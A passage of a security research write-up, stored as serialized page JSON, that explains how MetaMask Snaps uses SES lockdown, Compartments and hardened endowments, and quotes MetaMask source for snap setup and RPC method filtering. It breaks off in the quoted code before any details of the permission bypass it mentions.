Fundamentals",{"type":23,"tag":36595,"props":36596,"children":36597},"h5",{"id":36565},[36598],{"type":28,"value":36599},"Lockdown",{"type":23,"tag":24,"props":36601,"children":36602},{},[36603,36605,36611],{"type":28,"value":36604},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":23,"tag":94,"props":36606,"children":36608},{"className":36607},[],[36609],{"type":28,"value":36610},"lockdown()",{"type":28,"value":36612}," function, which protects javascript objects against some attacks, mainly:",{"type":23,"tag":84,"props":36614,"children":36615},{},[36616,36629],{"type":23,"tag":88,"props":36617,"children":36618},{},[36619,36621,36627],{"type":28,"value":36620},"Prototype Pollution\nLockdown executes ",{"type":23,"tag":94,"props":36622,"children":36624},{"className":36623},[],[36625],{"type":28,"value":36626},"Object.freeze",{"type":28,"value":36628}," against all javascript builtins prototypes, preventing these attacks.",{"type":23,"tag":88,"props":36630,"children":36631},{},[36632,36634,36640,36642,36648],{"type":28,"value":36633},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":23,"tag":94,"props":36635,"children":36637},{"className":36636},[],[36638],{"type":28,"value":36639},"trace",{"type":28,"value":36641}," attribute in an ",{"type":23,"tag":94,"props":36643,"children":36645},{"className":36644},[],[36646],{"type":28,"value":36647},"Error",{"type":28,"value":36649}," object, which contains the stack trace of the error.",{"type":23,"tag":36595,"props":36651,"children":36653},{"id":36652},"compartment",[36654],{"type":28,"value":36655},"Compartment",{"type":23,"tag":24,"props":36657,"children":36658},{},[36659,36661,36667,36669,36674],{"type":28,"value":36660},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":23,"tag":94,"props":36662,"children":36664},{"className":36663},[],[36665],{"type":28,"value":36666},"globalThis",{"type":28,"value":36668}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":23,"tag":94,"props":36670,"children":36672},{"className":36671},[],[36673],{"type":28,"value":36666},{"type":28,"value":36675}," context is incapable of tampering with security.",{"type":23,"tag":304,"props":36677,"children":36679},{"className":34862,"code":36678,"language":34864,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[36680],{"type":23,"tag":94,"props":36681,"children":36682},{"__ignoreMap":7},[36683,36712,36745],{"type":23,"tag":314,"props":36684,"children":36685},{"class":316,"line":317},[36686,36690,36695,36699,36703,36708],{"type":23,"tag":314,"props":36687,"children":36688},{"style":321},[36689],{"type":28,"value":346},{"type":23,"tag":314,"props":36691,"children":36692},{"style":360},[36693],{"type":28,"value":36694}," c",{"type":23,"tag":314,"props":36696,"children":36697},{"style":354},[36698],{"type":28,"value":1237},{"type":23,"tag":314,"props":36700,"children":36701},{"style":321},[36702],{"type":28,"value":31180},{"type":23,"tag":314,"props":36704,"children":36705},{"style":332},[36706],{"type":28,"value":36707}," Compartment",{"type":23,"tag":314,"props":36709,"children":36710},{"style":338},[36711],{"type":28,"value":2926},{"type":23,"tag":314,"props":36713,"children":36714},{"class":316,"line":370},[36715,36719,36723,36727,36731,36736,36740],{"type":23,"tag":314,"props":36716,"children":36717},{"style":360},[36718],{"type":28,"value":308},{"type":23,"tag":314,"props":36720,"children":36721},{"style":338},[36722],{"type":28,"value":282},{"type":23,"tag":314,"props":36724,"children":36725},{"style":360},[36726],{"type":28,"value":36666},{"type":23,"tag":314,"props":36728,"children":36729},{"style":354},[36730],{"type":28,"value":30670},{"type":23,"tag":314,"props":36732,"children":36733},{"style":360},[36734],{"type":28,"value":36735}," globalThis",{"type":23,"tag":314,"props":36737,"children":36738},{"style":338},[36739],{"type":28,"value":16466},{"type":23,"tag":314,"props":36741,"children":36742},{"style":374},[36743],{"type":28,"value":36744},"// false\n",{"type":23,"tag":314,"props":36746,"children":36747},{"class":316,"line":380},[36748,36752,36756,36760,36764,36769,36773,36778,36782],{"type":23,"tag":314,"props":36749,"children":36750},{"style":360},[36751],{"type":28,"value":308},{"type":23,"tag":314,"props":36753,"children":36754},{"style":338},[36755],{"type":28,"value":282},{"type":23,"tag":314,"props":36757,"children":36758},{"style":360},[36759],{"type":28,"value":36666},{"type":23,"tag":314,"props":36761,"children":36762},{"style":338},[36763],{"type":28,"value":282},{"type":23,"tag":314,"props":36765,"children":36766},{"style":360},[36767],{"type":28,"value":36768},"JSON",{"type":23,"tag":314,"props":36770,"children":36771},{"style":354},[36772],{"type":28,"value":30670},{"type":23,"tag":314,"props":36774,"children":36775},{"style":360},[36776],{"type":28,"value":36777}," JSON",{"type":23,"tag":314,"props":36779,"children":36780},{"style":338},[36781],{"type":28,"value":16466},{"type":23,"tag":314,"props":36783,"children":36784},{"style":374},[36785],{"type":28,"value":36786},"// true\n",{"type":23,"tag":24,"props":36788,"children":36789},{},[36790,36792,36798,36800,36806,36808,36813],{"type":28,"value":36791},"Compartment also changes the behaviour of evaluators functions such as ",{"type":23,"tag":94,"props":36793,"children":36795},{"className":36794},[],[36796],{"type":28,"value":36797},"eval",{"type":28,"value":36799}," and the ",{"type":23,"tag":94,"props":36801,"children":36803},{"className":36802},[],[36804],{"type":28,"value":36805},"Function",{"type":28,"value":36807}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":23,"tag":94,"props":36809,"children":36811},{"className":36810},[],[36812],{"type":28,"value":36666},{"type":28,"value":282},{"type":23,"tag":36595,"props":36815,"children":36817},{"id":36816},"endowments",[36818],{"type":28,"value":36819},"Endowments",{"type":23,"tag":24,"props":36821,"children":36822},{},[36823,36825,36829,36831,36836],{"type":28,"value":36824},"While creating a Compartment, it is possible to specify ",{"type":23,"tag":186,"props":36826,"children":36827},{},[36828],{"type":28,"value":36816},{"type":28,"value":36830},". These endowments constitute objects that become accessible within the Compartment's ",{"type":23,"tag":94,"props":36832,"children":36834},{"className":36833},[],[36835],{"type":28,"value":36666},{"type":28,"value":36837},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":23,"tag":24,"props":36839,"children":36840},{},[36841,36843,36849],{"type":28,"value":36842},"In addition, SES provides the ",{"type":23,"tag":94,"props":36844,"children":36846},{"className":36845},[],[36847],{"type":28,"value":36848},"harden()",{"type":28,"value":36850}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":23,"tag":18130,"props":36852,"children":36854},{"id":36853},"setting-up-snaps-execution-env",[36855],{"type":28,"value":36856},"Setting up Snaps Execution Env",{"type":23,"tag":24,"props":36858,"children":36859},{},[36860],{"type":28,"value":36861},"When starting a snap, the setup follows these steps:",{"type":23,"tag":84,"props":36863,"children":36864},{},[36865],{"type":23,"tag":88,"props":36866,"children":36867},{},[36868],{"type":23,"tag":721,"props":36869,"children":36870},{},[36871,36873],{"type":28,"value":36872},"Create endowments based on snap ",{"type":23,"tag":31,"props":36874,"children":36877},{"href":36875,"rel":36876},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[35],[36878],{"type":28,"value":36879},"permissions",{"type":23,"tag":304,"props":36881,"children":36883},{"className":34862,"code":36882,"language":34864,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n snap,\n ethereum,\n snapId,\n _endowments,\n);\n",[36884],{"type":23,"tag":94,"props":36885,"children":36886},{"__ignoreMap":7},[36887,36937,36949,36960,36972,36984],{"type":23,"tag":314,"props":36888,"children":36889},{"class":316,"line":317},[36890,36894,36898,36902,36906,36911,36915,36920,36924,36928,36933],{"type":23,"tag":314,"props":36891,"children":36892},{"style":321},[36893],{"type":28,"value":346},{"type":23,"tag":314,"props":36895,"children":36896},{"style":338},[36897],{"type":28,"value":1242},{"type":23,"tag":314,"props":36899,"children":36900},{"style":360},[36901],{"type":28,"value":36816},{"type":23,"tag":314,"props":36903,"children":36904},{"style":338},[36905],{"type":28,"value":778},{"type":23,"tag":314,"props":36907,"children":36908},{"style":360},[36909],{"type":28,"value":36910},"teardown",{"type":23,"tag":314,"props":36912,"children":36913},{"style":338},[36914],{"type":28,"value":14573},{"type":23,"tag":314,"props":36916,"children":36917},{"style":360},[36918],{"type":28,"value":36919},"endowmentTeardown",{"type":23,"tag":314,"props":36921,"children":36922},{"style":338},[36923],{"type":28,"value":35451},{"type":23,"tag":314,"props":36925,"children":36926},{"style":354},[36927],{"type":28,"value":1102},{"type":23,"tag":314,"props":36929,"children":36930},{"style":332},[36931],{"type":28,"value":36932}," createEndowments",{"type":23,"tag":314,"props":36934,"children":36935},{"style":338},[36936],{"type":28,"value":2719},{"type":23,"tag":314,"props":36938,"children":36939},{"class":316,"line":370},[36940,36945],{"type":23,"tag":314,"props":36941,"children":36942},{"style":360},[36943],{"type":28,"value":36944}," snap",{"type":23,"tag":314,"props":36946,"children":36947},{"style":338},[36948],{"type":28,"value":1870},{"type":23,"tag":314,"props":36950,"children":36951},{"class":316,"line":380},[36952,36956],{"type":23,"tag":314,"props":36953,"children":36954},{"style":360},[36955],{"type":28,"value":30732},{"type":23,"tag":314,"props":36957,"children":36958},{"style":338},[36959],{"type":28,"value":1870},{"type":23,"tag":314,"props":36961,"children":36962},{"class":316,"line":1091},[36963,36968],{"type":23,"tag":314,"props":36964,"children":36965},{"style":360},[36966],{"type":28,"value":36967}," snapId",{"type":23,"tag":314,"props":36969,"children":36970},{"style":338},[36971],{"type":28,"value":1870},{"type":23,"tag":314,"props":36973,"children":36974},{"class":316,"line":1141},[36975,36980],{"type":23,"tag":314,"props":36976,"children":36977},{"style":360},[36978],{"type":28,"value":36979}," _endowments",{"type":23,"tag":314,"props":36981,"children":36982},{"style":338},[36983],{"type":28,"value":1870},{"type":23,"tag":314,"props":36985,"children":36986},{"class":316,"line":1173},[36987],{"type":23,"tag":314,"props":36988,"children":36989},{"style":338},[36990],{"type":28,"value":1025},{"type":23,"tag":24,"props":36992,"children":36993},{},[36994],{"type":28,"value":36995},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":23,"tag":24,"props":36997,"children":36998},{},[36999,37001,37007,37009,37015],{"type":28,"value":37000},"One clear example is the ",{"type":23,"tag":94,"props":37002,"children":37004},{"className":37003},[],[37005],{"type":28,"value":37006},"endowment:network-access",{"type":28,"value":37008}," permission, that adds the ",{"type":23,"tag":94,"props":37010,"children":37012},{"className":37011},[],[37013],{"type":28,"value":37014},"fetch()",{"type":28,"value":37016}," function to the endowments.",{"type":23,"tag":24,"props":37018,"children":37019},{},[37020,37022,37028],{"type":28,"value":37021},"All endowments are protected with the ",{"type":23,"tag":94,"props":37023,"children":37025},{"className":37024},[],[37026],{"type":28,"value":37027},"harden",{"type":28,"value":37029}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":23,"tag":84,"props":37031,"children":37032},{"start":370},[37033],{"type":23,"tag":88,"props":37034,"children":37035},{},[37036],{"type":23,"tag":721,"props":37037,"children":37038},{},[37039,37041],{"type":28,"value":37040},"Create the snap ",{"type":23,"tag":31,"props":37042,"children":37045},{"href":37043,"rel":37044},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[35],[37046],{"type":28,"value":36652},{"type":23,"tag":304,"props":37048,"children":37050},{"className":34862,"code":37049,"language":34864,"meta":7,"style":7},"const compartment = new Compartment({\n ...endowments,\n module: snapModule,\n exports: snapModule.exports,\n});\n",[37051],{"type":23,"tag":94,"props":37052,"children":37053},{"__ignoreMap":7},[37054,37082,37098,37115,37140],{"type":23,"tag":314,"props":37055,"children":37056},{"class":316,"line":317},[37057,37061,37066,37070,37074,37078],{"type":23,"tag":314,"props":37058,"children":37059},{"style":321},[37060],{"type":28,"value":346},{"type":23,"tag":314,"props":37062,"children":37063},{"style":360},[37064],{"type":28,"value":37065}," compartment",{"type":23,"tag":314,"props":37067,"children":37068},{"style":354},[37069],{"type":28,"value":1237},{"type":23,"tag":314,"props":37071,"children":37072},{"style":321},[37073],{"type":28,"value":31180},{"type":23,"tag":314,"props":37075,"children":37076},{"style":332},[37077],{"type":28,"value":36707},{"type":23,"tag":314,"props":37079,"children":37080},{"style":338},[37081],{"type":28,"value":14382},{"type":23,"tag":314,"props":37083,"children":37084},{"class":316,"line":370},[37085,37090,37094],{"type":23,"tag":314,"props":37086,"children":37087},{"style":354},[37088],{"type":28,"value":37089}," ...",{"type":23,"tag":314,"props":37091,"children":37092},{"style":360},[37093],{"type":28,"value":36816},{"type":23,"tag":314,"props":37095,"children":37096},{"style":338},[37097],{"type":28,"value":1870},{"type":23,"tag":314,"props":37099,"children":37100},{"class":316,"line":380},[37101,37106,37111],{"type":23,"tag":314,"props":37102,"children":37103},{"style":360},[37104],{"type":28,"value":37105}," module:",{"type":23,"tag":314,"props":37107,"children":37108},{"style":360},[37109],{"type":28,"value":37110}," snapModule",{"type":23,"tag":314,"props":37112,"children":37113},{"style":338},[37114],{"type":28,"value":1870},{"type":23,"tag":314,"props":37116,"children":37117},{"class":316,"line":1091},[37118,37123,37127,37131,37136],{"type":23,"tag":314,"props":37119,"children":37120},{"style":360},[37121],{"type":28,"value":37122}," exports:",{"type":23,"tag":314,"props":37124,"children":37125},{"style":360},[37126],{"type":28,"value":37110},{"type":23,"tag":314,"props":37128,"children":37129},{"style":338},[37130],{"type":28,"value":282},{"type":23,"tag":314,"props":37132,"children":37133},{"style":360},[37134],{"type":28,"value":37135},"exports",{"type":23,"tag":314,"props":37137,"children":37138},{"style":338},[37139],{"type":28,"value":1870},{"type":23,"tag":314,"props":37141,"children":37142},{"class":316,"line":1141},[37143],{"type":23,"tag":314,"props":37144,"children":37145},{"style":338},[37146],{"type":28,"value":34587},{"type":23,"tag":24,"props":37148,"children":37149},{},[37150,37152,37158,37159,37164,37166,37171],{"type":28,"value":37151},"Note: ",{"type":23,"tag":94,"props":37153,"children":37155},{"className":37154},[],[37156],{"type":28,"value":37157},"module",{"type":28,"value":557},{"type":23,"tag":94,"props":37160,"children":37162},{"className":37161},[],[37163],{"type":28,"value":37135},{"type":28,"value":37165}," are passed as endowments, but without being ",{"type":23,"tag":186,"props":37167,"children":37168},{},[37169],{"type":28,"value":37170},"hardened",{"type":28,"value":37172},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":23,"tag":84,"props":37174,"children":37175},{"start":380},[37176],{"type":23,"tag":88,"props":37177,"children":37178},{},[37179],{"type":23,"tag":721,"props":37180,"children":37181},{},[37182,37184],{"type":28,"value":37183},"Evaluate the snap code inside the ",{"type":23,"tag":31,"props":37185,"children":37188},{"href":37186,"rel":37187},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[35],[37189],{"type":28,"value":36652},{"type":23,"tag":304,"props":37191,"children":37193},{"className":34862,"code":37192,"language":34864,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n compartment.evaluate(sourceCode);\n this.registerSnapExports(snapId, snapModule);\n});\n",[37194],{"type":23,"tag":94,"props":37195,"children":37196},{"__ignoreMap":7},[37197,37238,37268,37305],{"type":23,"tag":314,"props":37198,"children":37199},{"class":316,"line":317},[37200,37204,37208,37212,37217,37221,37225,37230,37234],{"type":23,"tag":314,"props":37201,"children":37202},{"style":2284},[37203],{"type":28,"value":32164},{"type":23,"tag":314,"props":37205,"children":37206},{"style":321},[37207],{"type":28,"value":34965},{"type":23,"tag":314,"props":37209,"children":37210},{"style":338},[37211],{"type":28,"value":282},{"type":23,"tag":314,"props":37213,"children":37214},{"style":332},[37215],{"type":28,"value":37216},"executeInSnapContext",{"type":23,"tag":314,"props":37218,"children":37219},{"style":338},[37220],{"type":28,"value":341},{"type":23,"tag":314,"props":37222,"children":37223},{"style":360},[37224],{"type":28,"value":35269},{"type":23,"tag":314,"props":37226,"children":37227},{"style":338},[37228],{"type":28,"value":37229},", () ",{"type":23,"tag":314,"props":37231,"children":37232},{"style":321},[37233],{"type":28,"value":14064},{"type":23,"tag":314,"props":37235,"children":37236},{"style":338},[37237],{"type":28,"value":1449},{"type":23,"tag":314,"props":37239,"children":37240},{"class":316,"line":370},[37241,37246,37250,37255,37259,37264],{"type":23,"tag":314,"props":37242,"children":37243},{"style":360},[37244],{"type":28,"value":37245}," compartment",{"type":23,"tag":314,"props":37247,"children":37248},{"style":338},[37249],{"type":28,"value":282},{"type":23,"tag":314,"props":37251,"children":37252},{"style":332},[37253],{"type":28,"value":37254},"evaluate",{"type":23,"tag":314,"props":37256,"children":37257},{"style":338},[37258],{"type":28,"value":341},{"type":23,"tag":314,"props":37260,"children":37261},{"style":360},[37262],{"type":28,"value":37263},"sourceCode",{"type":23,"tag":314,"props":37265,"children":37266},{"style":338},[37267],{"type":28,"value":1025},{"type":23,"tag":314,"props":37269,"children":37270},{"class":316,"line":380},[37271,37275,37279,37284,37288,37292,37296,37301],{"type":23,"tag":314,"props":37272,"children":37273},{"style":321},[37274],{"type":28,"value":35313},{"type":23,"tag":314,"props":37276,"children":37277},{"style":338},[37278],{"type":28,"value":282},{"type":23,"tag":314,"props":37280,"children":37281},{"style":332},[37282],{"type":28,"value":37283},"registerSnapExports",{"type":23,"tag":314,"props":37285,"children":37286},{"style":338},[37287],{"type":28,"value":341},{"type":23,"tag":314,"props":37289,"children":37290},{"style":360},[37291],{"type":28,"value":35269},{"type":23,"tag":314,"props":37293,"children":37294},{"style":338},[37295],{"type":28,"value":778},{"type":23,"tag":314,"props":37297,"children":37298},{"style":360},[37299],{"type":28,"value":37300},"snapModule",{"type":23,"tag":314,"props":37302,"children":37303},{"style":338},[37304],{"type":28,"value":1025},{"type":23,"tag":314,"props":37306,"children":37307},{"class":316,"line":1091},[37308],{"type":23,"tag":314,"props":37309,"children":37310},{"style":338},[37311],{"type":28,"value":34587},{"type":23,"tag":24,"props":37313,"children":37314},{},[37315,37317,37323,37324,37330,37331,37337],{"type":28,"value":37316},"According to the documentation, the snap must contain one of the following function exports: ",{"type":23,"tag":94,"props":37318,"children":37320},{"className":37319},[],[37321],{"type":28,"value":37322},"onRpcRequest",{"type":28,"value":778},{"type":23,"tag":94,"props":37325,"children":37327},{"className":37326},[],[37328],{"type":28,"value":37329},"onTransaction",{"type":28,"value":515},{"type":23,"tag":94,"props":37332,"children":37334},{"className":37333},[],[37335],{"type":28,"value":37336},"onCronjob",{"type":28,"value":282},{"type":23,"tag":24,"props":37339,"children":37340},{},[37341,37343,37348],{"type":28,"value":37342},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":23,"tag":94,"props":37344,"children":37346},{"className":37345},[],[37347],{"type":28,"value":36666},{"type":28,"value":37349}," environment of that Compartment.",{"type":23,"tag":24,"props":37351,"children":37352},{},[37353],{"type":28,"value":37354},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":23,"tag":61,"props":37356,"children":37358},{"id":37357},"vulnerability-research",[37359],{"type":28,"value":37360},"Vulnerability research",{"type":23,"tag":837,"props":37362,"children":37364},{"id":37363},"possible-attacks",[37365],{"type":28,"value":37366},"Possible attacks",{"type":23,"tag":24,"props":37368,"children":37369},{},[37370],{"type":28,"value":37371},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":23,"tag":127,"props":37373,"children":37374},{},[37375,37380,37385,37390],{"type":23,"tag":88,"props":37376,"children":37377},{},[37378],{"type":28,"value":37379},"Broken SES Container isolation",{"type":23,"tag":88,"props":37381,"children":37382},{},[37383],{"type":28,"value":37384},"Insecure endowments in Containers",{"type":23,"tag":88,"props":37386,"children":37387},{},[37388],{"type":28,"value":37389},"Incorrect RPC permission checks",{"type":23,"tag":88,"props":37391,"children":37392},{},[37393],{"type":28,"value":37394},"Insecure snap installation/update",{"type":23,"tag":24,"props":37396,"children":37397},{},[37398],{"type":28,"value":37399},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":23,"tag":24,"props":37401,"children":37402},{},[37403],{"type":28,"value":37404},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":23,"tag":837,"props":37406,"children":37408},{"id":37407},"rpc-interfaces-endowments",[37409],{"type":28,"value":37410},"RPC interfaces endowments",{"type":23,"tag":18130,"props":37412,"children":37414},{"id":37413},"providers-limitations",[37415],{"type":28,"value":37416},"Providers limitations",{"type":23,"tag":24,"props":37418,"children":37419},{},[37420,37422,37428,37429,37434,37436,37443],{"type":28,"value":37421},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":23,"tag":94,"props":37423,"children":37425},{"className":37424},[],[37426],{"type":28,"value":37427},"snap",{"type":28,"value":557},{"type":23,"tag":94,"props":37430,"children":37432},{"className":37431},[],[37433],{"type":28,"value":30665},{"type":28,"value":37435}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":23,"tag":31,"props":37437,"children":37440},{"href":37438,"rel":37439},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[35],[37441],{"type":28,"value":37442},"methods",{"type":28,"value":3746},{"type":23,"tag":304,"props":37445,"children":37447},{"className":34862,"code":37446,"language":34864,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n assert(\n String.prototype.startsWith.call(args.method, 'wallet_') ||\n String.prototype.startsWith.call(args.method, 'snap_'),\n 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n );\n assert(\n !BLOCKED_RPC_METHODS.includes(args.method),\n ethErrors.rpc.methodNotFound({\n data: {\n method: args.method,\n },\n }),\n );\n assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[37448],{"type":23,"tag":94,"props":37449,"children":37450},{"__ignoreMap":7},[37451,37490,37498,37510,37580,37641,37653,37661,37672,37712,37742,37754,37778,37785,37793,37800,37838],{"type":23,"tag":314,"props":37452,"children":37453},{"class":316,"line":317},[37454,37459,37464,37469,37473,37477,37481,37486],{"type":23,"tag":314,"props":37455,"children":37456},{"style":2284},[37457],{"type":28,"value":37458},"export",{"type":23,"tag":314,"props":37460,"children":37461},{"style":321},[37462],{"type":28,"value":37463}," function",{"type":23,"tag":314,"props":37465,"children":37466},{"style":332},[37467],{"type":28,"value":37468}," assertSnapOutboundRequest",{"type":23,"tag":314,"props":37470,"children":37471},{"style":338},[37472],{"type":28,"value":341},{"type":23,"tag":314,"props":37474,"children":37475},{"style":360},[37476],{"type":28,"value":1991},{"type":23,"tag":314,"props":37478,"children":37479},{"style":354},[37480],{"type":28,"value":3746},{"type":23,"tag":314,"props":37482,"children":37483},{"style":2674},[37484],{"type":28,"value":37485}," RequestArguments",{"type":23,"tag":314,"props":37487,"children":37488},{"style":338},[37489],{"type":28,"value":367},{"type":23,"tag":314,"props":37491,"children":37492},{"class":316,"line":370},[37493],{"type":23,"tag":314,"props":37494,"children":37495},{"style":374},[37496],{"type":28,"value":37497}," // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":23,"tag":314,"props":37499,"children":37500},{"class":316,"line":380},[37501,37506],{"type":23,"tag":314,"props":37502,"children":37503},{"style":332},[37504],{"type":28,"value":37505}," assert",{"type":23,"tag":314,"props":37507,"children":37508},{"style":338},[37509],{"type":28,"value":2719},{"type":23,"tag":314,"props":37511,"children":37512},{"class":316,"line":1091},[37513,37518,37522,37527,37531,37536,37540,37545,37549,37553,37557,37562,37566,37571,37575],{"type":23,"tag":314,"props":37514,"children":37515},{"style":2674},[37516],{"type":28,"value":37517}," String",{"type":23,"tag":314,"props":37519,"children":37520},{"style":338},[37521],{"type":28,"value":282},{"type":23,"tag":314,"props":37523,"children":37524},{"style":360},[37525],{"type":28,"value":37526},"prototype",{"type":23,"tag":314,"props":37528,"children":37529},{"style":338},[37530],{"type":28,"value":282},{"type":23,"tag":314,"props":37532,"children":37533},{"style":360},[37534],{"type":28,"value":37535},"startsWith",{"type":23,"tag":314,"props":37537,"children":37538},{"style":338},[37539],{"type":28,"value":282},{"type":23,"tag":314,"props":37541,"children":37542},{"style":332},[37543],{"type":28,"value":37544},"call",{"type":23,"tag":314,"props":37546,"children":37547},{"style":338},[37548],{"type":28,"value":341},{"type":23,"tag":314,"props":37550,"children":37551},{"style":360},[37552],{"type":28,"value":1991},{"type":23,"tag":314,"props":37554,"children":37555},{"style":338},[37556],{"type":28,"value":282},{"type":23,"tag":314,"props":37558,"children":37559},{"style":360},[37560],{"type":28,"value":37561},"method",{"type":23,"tag":314,"props":37563,"children":37564},{"style":338},[37565],{"type":28,"value":778},{"type":23,"tag":314,"props":37567,"children":37568},{"style":1245},[37569],{"type":28,"value":37570},"'wallet_'",{"type":23,"tag":314,"props":37572,"children":37573},{"style":338},[37574],{"type":28,"value":2343},{"type":23,"tag":314,"props":37576,"children":37577},{"style":354},[37578],{"type":28,"value":37579},"||\n",{"type":23,"tag":314,"props":37581,"children":37582},{"class":316,"line":1141},[37583,37588,37592,37596,37600,37604,37608,37612,37616,37620,37624,37628,37632,37637],{"type":23,"tag":314,"props":37584,"children":37585},{"style":2674},[37586],{"type":28,"value":37587}," String",{"type":23,"tag":314,"props":37589,"children":37590},{"style":338},[37591],{"type":28,"value":282},{"type":23,"tag":314,"props":37593,"children":37594},{"style":360},[37595],{"type":28,"value":37526},{"type":23,"tag":314,"props":37597,"children":37598},{"style":338},[37599],{"type":28,"value":282},{"type":23,"tag":314,"props":37601,"children":37602},{"style":360},[37603],{"type":28,"value":37535},{"type":23,"tag":314,"props":37605,"children":37606},{"style":338},[37607],{"type":28,"value":282},{"type":23,"tag":314,"props":37609,"children":37610},{"style":332},[37611],{"type":28,"value":37544},{"type":23,"tag":314,"props":37613,"children":37614},{"style":338},[37615],{"type":28,"value":341},{"type":23,"tag":314,"props":37617,"children":37618},{"style":360},[37619],{"type":28,"value":1991},{"type":23,"tag":314,"props":37621,"children":37622},{"style":338},[37623],{"type":28,"value":282},{"type":23,"tag":314,"props":37625,"children":37626},{"style":360},[37627],{"type":28,"value":37561},{"type":23,"tag":314,"props":37629,"children":37630},{"style":338},[37631],{"type":28,"value":778},{"type":23,"tag":314,"props":37633,"children":37634},{"style":1245},[37635],{"type":28,"value":37636},"'snap_'",{"type":23,"tag":314,"props":37638,"children":37639},{"style":338},[37640],{"type":28,"value":5992},{"type":23,"tag":314,"props":37642,"children":37643},{"class":316,"line":1173},[37644,37649],{"type":23,"tag":314,"props":37645,"children":37646},{"style":1245},[37647],{"type":28,"value":37648}," 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":23,"tag":314,"props":37650,"children":37651},{"style":338},[37652],{"type":28,"value":1870},{"type":23,"tag":314,"props":37654,"children":37655},{"class":316,"line":1208},[37656],{"type":23,"tag":314,"props":37657,"children":37658},{"style":338},[37659],{"type":28,"value":37660}," );\n",{"type":23,"tag":314,"props":37662,"children":37663},{"class":316,"line":1216},[37664,37668],{"type":23,"tag":314,"props":37665,"children":37666},{"style":332},[37667],{"type":28,"value":37505},{"type":23,"tag":314,"props":37669,"children":37670},{"style":338},[37671],{"type":28,"value":2719},{"type":23,"tag":314,"props":37673,"children":37674},{"class":316,"line":1301},[37675,37679,37684,37688,37692,37696,37700,37704,37708],{"type":23,"tag":314,"props":37676,"children":37677},{"style":354},[37678],{"type":28,"value":20207},{"type":23,"tag":314,"props":37680,"children":37681},{"style":360},[37682],{"type":28,"value":37683},"BLOCKED_RPC_METHODS",{"type":23,"tag":314,"props":37685,"children":37686},{"style":338},[37687],{"type":28,"value":282},{"type":23,"tag":314,"props":37689,"children":37690},{"style":332},[37691],{"type":28,"value":34430},{"type":23,"tag":314,"props":37693,"children":37694},{"style":338},[37695],{"type":28,"value":341},{"type":23,"tag":314,"props":37697,"children":37698},{"style":360},[37699],{"type":28,"value":1991},{"type":23,"tag":314,"props":37701,"children":37702},{"style":338},[37703],{"type":28,"value":282},{"type":23,"tag":314,"props":37705,"children":37706},{"style":360},[37707],{"type":28,"value":37561},{"type":23,"tag":314,"props":37709,"children":37710},{"style":338},[37711],{"type":28,"value":5992},{"type":23,"tag":314,"props":37713,"children":37714},{"class":316,"line":1343},[37715,37720,37724,37729,37733,37738],{"type":23,"tag":314,"props":37716,"children":37717},{"style":360},[37718],{"type":28,"value":37719}," ethErrors",{"type":23,"tag":314,"props":37721,"children":37722},{"style":338},[37723],{"type":28,"value":282},{"type":23,"tag":314,"props":37725,"children":37726},{"style":360},[37727],{"type":28,"value":37728},"rpc",{"type":23,"tag":314,"props":37730,"children":37731},{"style":338},[37732],{"type":28,"value":282},{"type":23,"tag":314,"props":37734,"children":37735},{"style":332},[37736],{"type":28,"value":37737},"methodNotFound",{"type":23,"tag":314,"props":37739,"children":37740},{"style":338},[37741],{"type":28,"value":14382},{"type":23,"tag":314,"props":37743,"children":37744},{"class":316,"line":1351},[37745,37750],{"type":23,"tag":314,"props":37746,"children":37747},{"style":360},[37748],{"type":28,"value":37749}," data:",{"type":23,"tag":314,"props":37751,"children":37752},{"style":338},[37753],{"type":28,"value":1449},{"type":23,"tag":314,"props":37755,"children":37756},{"class":316,"line":1387},[37757,37762,37766,37770,37774],{"type":23,"tag":314,"props":37758,"children":37759},{"style":360},[37760],{"type":28,"value":37761}," 